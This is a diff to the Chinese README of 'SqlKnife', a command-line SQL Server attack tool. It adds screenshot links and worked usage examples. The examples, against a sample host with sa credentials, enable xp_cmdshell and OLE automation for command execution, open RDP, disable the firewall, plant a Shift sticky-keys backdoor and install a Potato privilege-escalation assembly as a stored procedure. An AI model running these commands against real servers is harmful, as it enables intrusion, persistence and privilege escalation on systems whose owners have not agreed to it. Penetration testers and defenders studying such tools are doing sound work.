1
- # bSqlKnife
1
+ # SqlKnife
2
2
3
3
适合在命令行中使用的轻巧的SQL Server数据库攻击工具。
4
4
5
-
6
5
## 参数说明
7
6
7
+ ![ ] ( img/Snipaste_2021-08-03_10-43-27.png )
8
+
8
9
```
9
10
<-H host> <-P port> <-u username> <-p password> <-D dbname> <--openrdp> <--shift> <--disfw> <--xpcmd> <--oacreate> <--dbup> <--fix> <--remove> <--3/--4>
10
11
```
21
22
22
23
-c 要执行的命令
23
24
24
- --openrdp 开启目标远程桌面
25
+ --openrdp 开启目标远程桌面并读取当前远程桌面端口号
25
26
26
27
--shift 创建shfit后门
27
28
45
46
46
47
SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --xpcmd --fix
47
48
49
+ ![ ] ( img/Snipaste_2021-08-03_10-46-08.png )
50
+
51
+ ![ Snipaste_2021-08-03_10-46-29] ( img/Snipaste_2021-08-03_10-46-29.png )
52
+
48
53
#### 执行命令
49
54
50
55
SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --xpcmd -c whoami
51
56
57
+ ![ Snipaste_2021-08-03_10-47-04] ( img/Snipaste_2021-08-03_10-47-04.png )
58
+
52
59
#### 禁用xp_cmdshell
53
60
54
61
SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --xpcmd --remove
55
62
63
+ ![ Snipaste_2021-08-03_10-47-56] ( img/Snipaste_2021-08-03_10-47-56.png )
64
+
56
65
57
66
### 使用Ole Automation Procedures执行命令
58
67
@@ -62,27 +71,74 @@ SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --xpcmd --remove
62
71
63
72
SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --oacreate --fix
64
73
74
+ ![ Snipaste_2021-08-03_10-55-46] ( img/Snipaste_2021-08-03_10-55-46.png )
75
+
65
76
#### 执行程序
66
77
67
- SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --oacreate -c calc.exe
78
+ SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --oacreate -c calc.exe
79
+
80
+ ![ Snipaste_2021-08-03_10-55-46] ( img/Snipaste_2021-08-03_10-55-46.png )
81
+
82
+ ![ Snipaste_2021-08-03_10-56-34] ( img/Snipaste_2021-08-03_10-56-34.png )
68
83
69
84
### 开RDP,关防火墙加规则(开RDP时自动加),装shift后门
70
85
71
- 基于注册表操作
86
+ 权限足够的前提下,基于注册表的操作
87
+
88
+ #### 开启RDP
89
+
90
+ SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --openrdp
91
+
92
+ ![ Snipaste_2021-08-03_11-36-43] ( img/Snipaste_2021-08-03_11-36-43.png )
93
+
94
+ ![ Snipaste_2021-08-03_11-36-57] ( img/Snipaste_2021-08-03_11-36-57.png )
95
+
96
+ #### 关防火墙
72
97
98
+ SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --disfw
73
99
100
+ (可能不好用,可能是因为注册表位置参考windows10的原因)
74
101
102
+ ![ Snipaste_2021-08-03_11-42-58] ( img/Snipaste_2021-08-03_11-42-58.png )
75
103
104
+ #### 装shift后门
105
+
106
+ SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --shift
107
+
108
+ ![ Snipaste_2021-08-03_11-45-54] ( img/Snipaste_2021-08-03_11-45-54.png )
109
+
110
+ ![ Snipaste_2021-08-03_11-29-11] ( img/Snipaste_2021-08-03_11-29-11.png )
76
111
77
112
### PotatoInSQL(--dbup)
78
113
将土豆提权作为存储过程安装到数据库,然后调用。
79
114
115
+ #### 安装.net3.5版本的potatoinsql
116
+
117
+ SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --dbup --fix --3
118
+
119
+ ![ Snipaste_2021-08-03_11-17-47] ( img/Snipaste_2021-08-03_11-17-47.png )
120
+
121
+ ![ Snipaste_2021-08-03_11-18-02] ( img/Snipaste_2021-08-03_11-18-02.png )
122
+
80
123
81
124
125
+ #### 利用土豆执行命令
126
+
127
+ SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --dbup -c whoami
128
+
129
+ ![ Snipaste_2021-08-03_11-28-46] ( img/Snipaste_2021-08-03_11-28-46.png )
130
+
131
+ ![ Snipaste_2021-08-03_11-29-11] ( img/Snipaste_2021-08-03_11-29-11.png )
132
+
82
133
### 启用/还原配置功能
134
+
135
+ ![ Snipaste_2021-08-03_11-29-35] ( img/Snipaste_2021-08-03_11-29-35.png )
136
+
83
137
做完操作之后把配置和CLR程序集清理掉。
84
138
85
139
--fix参数和--remove参数只涉及--xpcmd、--oacreate、--clrcmd、--clrdexec、--dbup
86
140
87
141
88
- ### 指定不同版本clr的payload
142
+ ### 指定不同版本clr的payload
143
+
144
+ --3/--4 如果不加这个参数,默认是.net4版本的payload
0 commit comments